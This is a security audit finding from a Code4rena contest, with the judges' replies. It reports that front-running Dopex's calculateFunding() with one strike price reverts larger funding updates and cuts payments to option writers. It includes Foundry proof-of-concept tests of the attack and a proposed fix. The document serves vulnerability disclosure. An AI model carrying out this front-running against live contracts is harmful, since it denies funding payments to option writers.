A malicious user can front-run calcualteFunding to prevent funding payments transfer and funding rate update.

[code423n4]

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L415-L418

Vulnerability details

Impact

(Note: Sponsor confirms that MEV can be considered in scope in discord)

A malicious user can front-run calculateFunding() to prevent funding payments transfer and funding rate update. The attack only needs to front-run a calcualteFunding() transaction submitted by anyone, and call calculateFunding() with one strike price that the original transaction contains. This will cause the original calcualteFunding() transaction to revert. By doing so, a malicious user can prevent the majority of strick prices to be updated through calculateFunding(), which delay and prevent funding payments to be transferred from RdpxV2Core to PerpetualAtlanticVault in payFunding() in a given epoch.

The impact is that either funding payments can be missed for one or more epochs, or funding payments sent in a given epoch are reduced. Both can happen. I think it's medium severity given the impact on the funding flow.

Proof of Concept

  function calculateFunding(
    uint256[] memory strikes
  ) external nonReentrant returns (uint256 fundingAmount) {
...
    for (uint256 i = 0; i < strikes.length; i++) {
      _validate(optionsPerStrike[strikes[i]] > 0, 4);
|>    _validate(
        latestFundingPerStrike[strikes[i]] != latestFundingPaymentPointer,
        5
      );
...
      // Record number of options that funding payments were accounted for, for this epoch
      fundingPaymentsAccountedFor[latestFundingPaymentPointer] += amount;
...

(https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L415-L418)

As seen above, the second _validate() will revert the transaction if the subsequent transaction contains at least one strike price that has already been processed for a given epoch.

  function payFunding() external onlyRole(RDPXV2CORE_ROLE) returns (uint256) {
    _whenNotPaused();
    _isEligibleSender();

|>  _validate(
      totalActiveOptions ==
        fundingPaymentsAccountedFor[latestFundingPaymentPointer],
      6
    );
...
    collateralToken.safeTransferFrom(
      addresses.rdpxV2Core,
      address(this),
      totalFundingForEpoch[latestFundingPaymentPointer]
    );
    _updateFundingRate(totalFundingForEpoch[latestFundingPaymentPointer]);

As seen above in payFunding(), if for a given epoch if not all the active strike prices are updated through calculateFunding(), _validate() will revert the payFunding() transaction, prevent subsequent funding transfer and funding rate update. This means that if a malicious user can prevent mass strike prices update called by others or admin through calculateFunding(),(1) the funding payments for that epoch will not be transferred to the vault (2) Or the actual funding paid through updateFunding() will be greatly reduced since funding rate is not fully up to date.

See POC test here that shows user1 front-run user2's calculateFunding() and revert user2's transaction:

//test/rdpxV2-core/Unit.t.sol
  function testFrontrunCalculateFunding() public {
        //1st Bond
        uint256 userRdpxBalance = rdpx.balanceOf(address(this));
        uint256 userwethBalance = weth.balanceOf(address(this));
        (uint256 rdpxRequired, uint256 wethRequired) = rdpxV2Core
            .calculateBondCost(1e18, 0);

        // test bond with amount 1e18
        uint256 receiptTokenAmount = rdpxV2Core.bond(1e18, 0, address(this));
        (, uint256 rdpxBalance, ) = rdpxV2Core.getReserveTokenInfo("RDPX");
        (, uint256 wethBalance, ) = rdpxV2Core.getReserveTokenInfo("WETH");
        assertEq(
            rdpxV2ReceiptToken.balanceOf(address(rdpxV2Core)),
            receiptTokenAmount
        );
        console.log("rdpxBalance: ");
        console.logUint(rdpxBalance);
        console.log("wethBalance: ");
        console.logUint(wethBalance);
        assertEq(rdpx.balanceOf(address(this)), userRdpxBalance - rdpxRequired);
        assertEq(weth.balanceOf(address(this)), userwethBalance - wethRequired);

        //oracle price changed
        rdpxPriceOracle.updateRdpxPrice(0.014 gwei);
        //2nd Bond
        userRdpxBalance = rdpx.balanceOf(address(this));
        userwethBalance = weth.balanceOf(address(this));
        (rdpxRequired, wethRequired) = rdpxV2Core.calculateBondCost(1e18, 0);
        // test bond with amount 1e18
        uint256 receiptTokenAmount2 = rdpxV2Core.bond(1e18, 0, address(this));
        (, rdpxBalance, ) = rdpxV2Core.getReserveTokenInfo("RDPX");
        (, wethBalance, ) = rdpxV2Core.getReserveTokenInfo("WETH");
        assertEq(
            rdpxV2ReceiptToken.balanceOf(address(rdpxV2Core)),
            receiptTokenAmount + receiptTokenAmount2
        );
        console.log("rdpxBalance: ");
        console.logUint(rdpxBalance);
        console.log("wethBalance: ");
        console.logUint(wethBalance);
        assertEq(rdpx.balanceOf(address(this)), userRdpxBalance - rdpxRequired);
        assertEq(weth.balanceOf(address(this)), userwethBalance - wethRequired);
        //next epoch
        skip(86401 * 8);
        // user1 front run calculateFunding and submit strick price 0.015
        uint256[] memory strikes = new uint256[](1);
        strikes[0] = 0.015 gwei;

        vault.calculateFunding(strikes);
        // user2 calculateFunding and submit for both strick price 0.015 and 0.014
        uint256[] memory strikes2 = new uint256[](2);
        strikes2[0] = 0.015 gwei;
        strikes2[1] = 0.014 gwei;
        vm.startPrank(address(1));
        // user2 calculateFunding reverts
        vm.expectRevert();
        vault.calculateFunding(strikes2);
    }

See test result here:

Running 1 test for tests/rdpxV2-core/Unit.t.sol:Unit
[PASS] testFrontrunCalculateFunding() (gas: 1737817)
Test result: ok. 1 passed; 0 failed; finished in 997.96ms

Tools Used

Manual review
Foundry

Recommended Mitigation Steps

In calculateFunding(), for each for loop, instead of revert when a strike price has been updated, simply skip one iteration and continue to the next iteration. Consider changing the _validate( latestFundingPerStrike[strikes[i]] != latestFundingPaymentPointer, 5 ); to if...continue

Assessed type

MEV

[bytes032]

LQ because of front-running on Arb

[c4-pre-sort]

bytes032 marked the issue as low quality report

[GalloDaSballo]

More so than a front-run, it seems like the caller would pay a ton of gas to save gas to the "normal user"
Ultimately this function just computes fees and it seems to leak no value

[c4-judge]

GalloDaSballo marked the issue as unsatisfactory:
Insufficient proof

[flowercrimson]

Hello @GalloDaSballo , I would like to clarify a few points for this issue:
(1) MEV on arb: Based on the sponsor's reply on Discord, they would like to know front-running related issues based on the possibility of MEV on arb in the future, although validity is dependent on impacts. (https://discord.com/channels/810916927919620096/1141863563326128260/1145838616824782920)
(2) Impacts:
The victim in the issue scenario is not normal users, but the Dopex admin and the option writers.

Based on doc, The APP contract admin needs to calculate the funding needs to be called for every strike before the epoch ends. calculateFunding() can be called by anyone with any amount of strike prices, but it is the admin's task to ensure that all existing strike prices are updated through calculateFunding() such that fundingPaymentsAccountedFor[latestFundingPaymentPointer] are fully updated with all previously opened options.

In addition, if the Dopex admin fails to bring all existing strike prices up to date through calculateFuning(). payFunding() will revert due to failed _validate(). And since payFunding() under the hood updates funding rates of current epoch through _updateFundingRate(totalFundingForEpoch[latestFundingPaymentPointer]), this means that if payFunding() reverts, the funding rate for current epoch will not be updated with previously opened active options, which means funding rates will be less than what it is supposed to be for current epoch. Because the funding payments to option writers are calculted based on funding rate through updateFunding() , option writers will receive less funding paytments for a epoch than they are supposed to.

// contracts/perp-vault/PerpetualAtlanticVault.sol

    /**
     * @notice function to transfer funding into the LP in a drip-vested manner
     * @dev    addProceeds() is invoked to update totalCollateral in LP
     **/
    function updateFunding() public {
...
          uint256 currentFundingRate = fundingRates[latestFundingPaymentPointer];
        // @audit when currentFundingRate is reduced , there will be fewer amount of  colleteralToken transferred
|>      collateralToken.safeTransfer(
            addresses.perpetualAtlanticVaultLP,
            (currentFundingRate * (block.timestamp - startTime)) / 1e18
        );

|>      IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP)
            .addProceeds(
                (currentFundingRate * (block.timestamp - startTime)) / 1e18
            );
...

(https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L510-L516)

The attack is basically front-run Dopex admin or any one 's calculateFunding() by updating calculateFunding() with a just a single strike price that is a subset of the victim's transaction. This will effectively revert the calculateFunding() transaction, preventing Doppex admin from mass updating all strike prices. I think this is low cost considering the attacker only needs to update one to revert a massive transaction. And the attack can be done repetitively for later epochs.

Since the impact is (1) loss/reduction of funding payments to option writers. (2) preventing Dopex admin from bringing funding rates up to date for multiple epochs. I think this should be a medium impact.

[GalloDaSballo]

The attack is basically front-run Dopex admin or any one 's calculateFunding() by updating calculateFunding() with a just a single strike price that is a subset of the victim's transaction. This will effectively revert the calculateFunding() transaction, preventing Doppex admin from mass updating all strike prices. I think this is low cost considering the attacker only needs to update one to revert a massive transaction. And the attack can be done repetitively for later epochs.

This means that the Dopex Sponsor was supposed to pay 21k + Cost of Operations
And they end up paying 21k

The attacker pays 21k + Cost of Operation

The attacker is paying for processing the strikes to their detriment

What am I missing?

[flowercrimson]

Hey @GalloDaSballo, thanks for the reply! Unless I missed your point, the attacker doesn't necessarily need to pay much gas to create a material impact - a reduction of funding payments to option writers. See my test below.

According to sponsor, CalculateFunding() and payFunding() need to be called at the beginning of an epoch to ensure fundingPaymentsAccountedFor[latestFundingPaymentPointer] includes all active strike prices that opened in previous epochs. Whenever calculateFunding() -> payFunding() is interrupted, calling updateFunding() will send less (potentially zero) funding payments than what option writers deserved.

Because funding payments are sent in a dripped manner in every epoch base on (currentFundingRate * (block.timestamp - startTime)) / 1e18, one POC could be:
Suppose total of 50 active strike prices:
A). At the beginning of an Epoch, an attacker front-runs and sends (1) strike price through calculateFunding() that reverts Dopex admins transaction of (50) strike prices;
B). 15 mins later, Dopex admin detects the failed strike price, and submits a revised calculateFunding() with (49) strike prices;
C). The attacker calls updateFunding(), suppose startTime is the beginning of the epoch, the funding paid to option writers for the 15 mins is 0 * 60s * 15 / 1e18 = 0. (fundingRates[latestFundingPaymentPointer] is 0 now)
D). Dopex's calculateFunding() + payFunding() transaction succeeds. (fundingRates[latestFundingPaymentPointer] is K now)
E). Another 15 mins later, anyone calls updateFunding(). the funding paid now is K * 60s * 15/1e18.
The first 15 mins funding payment is missed. option writer only received funding payment for the second 15 mins.

See this gist for my test file:

Two tests to compare:

1. testCalculate50FrontRun() is the attack scenario;
2. testCalculate50Reference() is the reference;

Test results:

1. testCalculate50FrontRun(): only the second 15 min funding payments is sent, the first 15 min payment is missed;
2. testCalculate50Reference(): funding payment is sent for the full 30 mins.
3. testCalculate50Reference(): sent approx. 0.187e18 more collateralToken in funding payments compared to the attack scenario, which means option writers received 0.187e18 less in payments.
4. testCalculate50FrontRun() :

• attacker gas cost: 159811 units (calculateFunding + updateFunding) -> 0.0286 USD
• Dopex admin total gas cost: 2691810 units -> 0.4815 USD

Running 2 tests for tests/rdpxV2-core/Unit.t.sol:Unit
[PASS] testCalculate50FrontRun() (gas: 30412123)
[PASS] testCalculate50Reference() (gas: 30301138)
Test result: ok. 2 passed; 0 failed; 0 skipped; finished in 830.13ms
 
Ran 1 test suites: 2 tests passed, 0 failed, 0 skipped (2 total tests)

[GalloDaSballo]

The attacker pays 150k gas while the admin pays 9k and reverts

Why do you think that's an issue?

[flowercrimson]

Hey @GalloDaSballo ,
(1) The admin has to pay 9K + 2691K gas. The 9K gas is the extra gas admin overpaid.
(2) I think the issue is not the gas, it's cheap in arb. And in this case, attacker only paid 2 cent. The issue is that option writers' loss of their payment. In the test file, option writers lose 0.187e18 collateralTokens. ( see the comparison between the two tests)

...
        vm.expectRevert();
        vault.calculateFunding(strikes2); //dopex admin gas: 9209
...
        vault.calculateFunding(strikes3); //dopex admin gas: 2691810

    function testCalculate50FrontRun() public {
...
        uint256 fundingSent0To30 = fundingSent0To15 + fundingSent15To30; //2258915767123530 = 0.0023e18
        assertEq(fundingSent0To30, 2258915767123530); //<- 15 to 30 mins: funding payment is non-zero due to calculateFundinng success
        assert(fundingSent0To30 == fundingSent15To30); //<- funding is only paid for half of the time;

    function testCalculate50Reference() public {
...
        uint256 fundingSent0To30 = fundingSent0To15 + fundingSent15To30;

        assertEq(fundingSent0To30, 189433751639555556); //189433751639555556 = 0.189e18
        assert(fundingSent0To30 > fundingSent0To15); //<- funding is paid for the full duraton.